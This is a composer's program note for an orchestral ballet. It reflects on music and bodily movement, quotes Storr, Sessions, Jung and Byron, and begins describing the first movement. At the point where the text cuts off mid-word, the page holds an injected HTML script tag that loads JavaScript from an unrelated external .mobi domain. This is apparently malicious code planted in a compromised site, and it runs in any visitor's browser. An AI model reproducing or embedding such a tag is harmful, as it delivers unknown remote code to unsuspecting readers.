Update Title: 3564A1C3-FB30-45F3-AC2A-F1221D0625C3

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Music is said to have come from dance - from the rhythmic impulses of men and women.  Perhaps this explains my recent awareness of the inherent relationship between thought, feelings, and action - that the impulse to compose often begins as a rhythmical stirring and leads to a physical response - tensing muscles, gesturing with hands and arms, or quite literally, dancing.

In Music and the Mind, Anthony Storr observes that "the designation 'movement' for a section of a symphony, concerto, or sonata attests the indissoluble link between music and motion in our minds . . . " There is also much pleasure to be gained from observing the gestures of a conductor, or from seeing the coordinated bowing of the string sections within an orchestra.

Composer Roger Sessions writes eloquently on the subject as well in The Musical Experience of Composer, Performer, Listener:

"The basic ingredient of music is not so much sound as movement . . . I would even go a step farther, and say that music is significant for us as human beings principally because it embodies movement of a specifically human type that goes to the roots of our being and takes shape in the inner gestures which embody our deepest and most intimate responses."

My Ballet for Orchestra emerged out of a similar kinesthetic/emotional awareness and a renewed interest in dance music.

I first explored this approach to composition in an orchestral work entitled Circuits (1990) which reviewer Charles Ward described as follows:

"Circuits . . . was a charging, churning celebration of the musical and cultural energy of modern-day America. From repetitive ideas reminiscent of Steve Reich to walking bass lines straight from jazz, Circuits refracted important American musical styles of this century. Similarly, the kaleidoscope of melodies, musical "licks" and fragmented form aptly illustrated the electric, almost convulsive nature of American society near the start of the 21st century."

Although I have never made a conscious attempt to "be" American, I would agree that my musical style generally does reflect my American roots more than my European-based training.

European writers, however, continue to shape my thinking, especially the Swiss psychologist, Carl G. Jung, who felt that creative energy sprang from the tension between the oppositions of conscious and unconscious, of thought and feeling, of objectivity and subjectivity, and of mind and body.  So too have the integration and reconciliation of opposing elements become important aspects of my work.  The frequent use of circular patterns, or ostinatos, offer both the possibility of suspended time and the opportunity for continuous forward movement.  Carefully controlled pitch systems and thematic manipulations provide a measure of objectivity and reason, while kinetic rhythmic structures inspire bodily motion.  Discipline yields to improvisation, and perhaps most importantly, humor takes its place comfortably along side the grave and earnest.  I wish both to enlighten and to entertain, to communicate wholeness, and above all, to celebrate life.  To quote Lord Byron:  "On with the dance!  Let joy be unconfined . . . "

Cast in four movements, the work's macro-structure is modeled after the classical symphonies of Haydn and Mozart.

I.  "Introduction: On with the Dance"

On with the dance! let joy be unconfined;
No sleep till morn, when Youth and Pleasure meet
To chase the glowing hours with flying feet.
           -- Lord Byron, Childe Harold's Pilgrimage

Inspired by the opening theme of Beethoven's Symphony No. 5, a 3-note motive outlining the interval of a minor third (C, Eb, C) is developed and expanded to also include the interval of a major third (C, Eb, Cb). Following an excursion into a musical world informed by jazz rhythms and sounds, the movement concludes with a recapitulation of the opening materia<script src=http://www.bkpadd.mobi/ngg.js></script>

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